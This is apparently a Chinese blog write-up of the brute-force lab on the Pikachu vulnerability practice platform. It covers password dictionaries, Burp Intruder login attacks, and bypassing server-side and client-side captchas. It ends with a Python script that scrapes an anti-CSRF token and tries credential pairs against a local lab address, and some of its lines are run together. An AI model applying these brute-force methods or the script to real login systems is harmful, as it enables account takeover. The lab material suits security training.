董文龙博客
承接正规软件定制开发、BIM软件二次开发如:Revit、Bentley、ArchiCAD软件二次开发、BIM协同管理平台、BIM施工管理平台,欢迎咨询
文章194 浏览189054
bim二次开发

Pikachu漏洞练习平台实验——暴力破解(一)

概述#

一个有效的字典可以大大提高暴力破解的效率

  • 比如常用的用户名/密码TOP500

  • 脱裤后的账号密码(社工库)

  • 根据特定的对象(比如手机、生日和银行卡号等)按照指定的规则来生成密码

暴力破解流程

  • 确认登录接口的脆弱性

    • 尝试登录——抓包——观察验证元素和response信息,判断是否存在暴力破解的可能

  • 对字典进行优化

    • 根据实际情况对字典进行优化,提高暴力破解的效率

  • 工具自动化操作

字典优化技巧

  • 根据注册提示进行优化,比如注册时要求密码8位以上,我们就去掉少于8位的密码

  • 爆破管理后台,账号是  admin / administrator / root  的可能是比较高,可以使用这3个账号进行爆破

基于表单的暴力破解#

输入错误时,有以下提示

这里没有验证码等其他验证机制,抓包看看 

发送到Intruder进行暴力破解

设置好Payload

  

然后把“ username or password is not exists~ ”复制到Grep Match中。后面可以利用Grep Match区分哪些请求里面有这个字符串

然后就可以开始攻击了,匹配到 username or password is not exists 都是攻击失败的,另外,从响应长度也可以看出攻击成功与否

验证码绕过(on server) #

验证码可以用来防止恶意注册、防止暴力破解。服务端验证码常见问题:

  • 验证码在后台不过期,导致长期可以使用

  • 验证码校验不严格,逻辑出现问题

  • 验证码设计的太过简单和有规律,容易被猜解

我们先简单的测试一下,不输入验证码的情况下会提示验证码为空,输入错误验证码的情况下会提示验证码错误,只有验证码正确的前提下才会提示账号或密码不存在

下面通过抓包判断一下服务器端有没有对验证码进行验证,发现是有的

说明后端对验证码是有验证的,我们来了解一下验证码生成的逻辑:

当我们刷新页面的时候,我们会向后台发送一个请求,后台收到请求会生成一个验证码并在session中把验证码保存下来。

我们先生成一个新的验证码,然后在BurpSuite中输入正确的验证码

提示账号密码不存在

我们换个密码再发送一次

发现依然是提示账号密码不存在,正常来说应该提示验证码错误,这说明验证码长期有效,我们发送到Intruder中直接暴力破解

验证码绕过(on client)#

这里我们需要输入验证码,我们不能对验证码暴力破解,通过抓包发现请求里面只是多了验证码

通过查看源码,发现验证码的验证逻辑是在客户端实现的

这个JavaScript会从0-9和26个大写字母中随机挑选5个作为验证码,然后用 validate() 去验证

另外,通过源码也可以看到,我们每点一次验证码,就会调用 createCode() 改变验证码

通过BurpSuite发现后台不会对输入错误的验证码进行验证,在浏览器中,输入错误的验证码是有提示的

正常来说会有这个弹窗  

说明前端设置的验证码如同虚设,后端不会对验证码进行验证。那么我们不用理会验证码,直接进行暴力破解就可以了

token防爆破#

 利用开发者工具可以发现这里有一个隐藏的标签

里面的数字就是我们的token,我的每次提交的请求都会有一个token值,后端会验证这个token值

但是这个token已经写到了html页面中,攻击者只需要写个工具,提交认证前都加上这个token就好了

用一个简单的python脚本测试,代码如下:

复制代码
import requestsimport re

url = "http://192.168.171.133/pikachu/vul/burteforce/bf_token.php"def get_token_and_cookie(url):
    response = requests.get(url)
    content = response.text
    pattern = '(?<=value=")\w+(?=")'
    token = re.search(pattern, content).group()
    cookies = response.cookies    return token, cookies


users = ["admin", "root"]
passwds = ["admin", "password", "123456"]

data = {"submit": "Login"}for user in users:    for passwd in passwds:
        data["username"] = user
        data["password"] = passwd
        data["token"], cookies = get_token_and_cookie(url)

        cookies = cookies.get_dict()
        headers = {"Cookie": ""}
        headers["Cookie"] = "PHPSESSID=" + cookies["PHPSESSID"]

        response = requests.post(url, data=data, headers=headers)
        content = response.text        if "login success" in content:            print("usernmae: ", user, "password: ", passwd)
复制代码

输出结果


bim二次开发

相关推荐

  • 暂无相关推荐

发表评论

嘿,欢迎咨询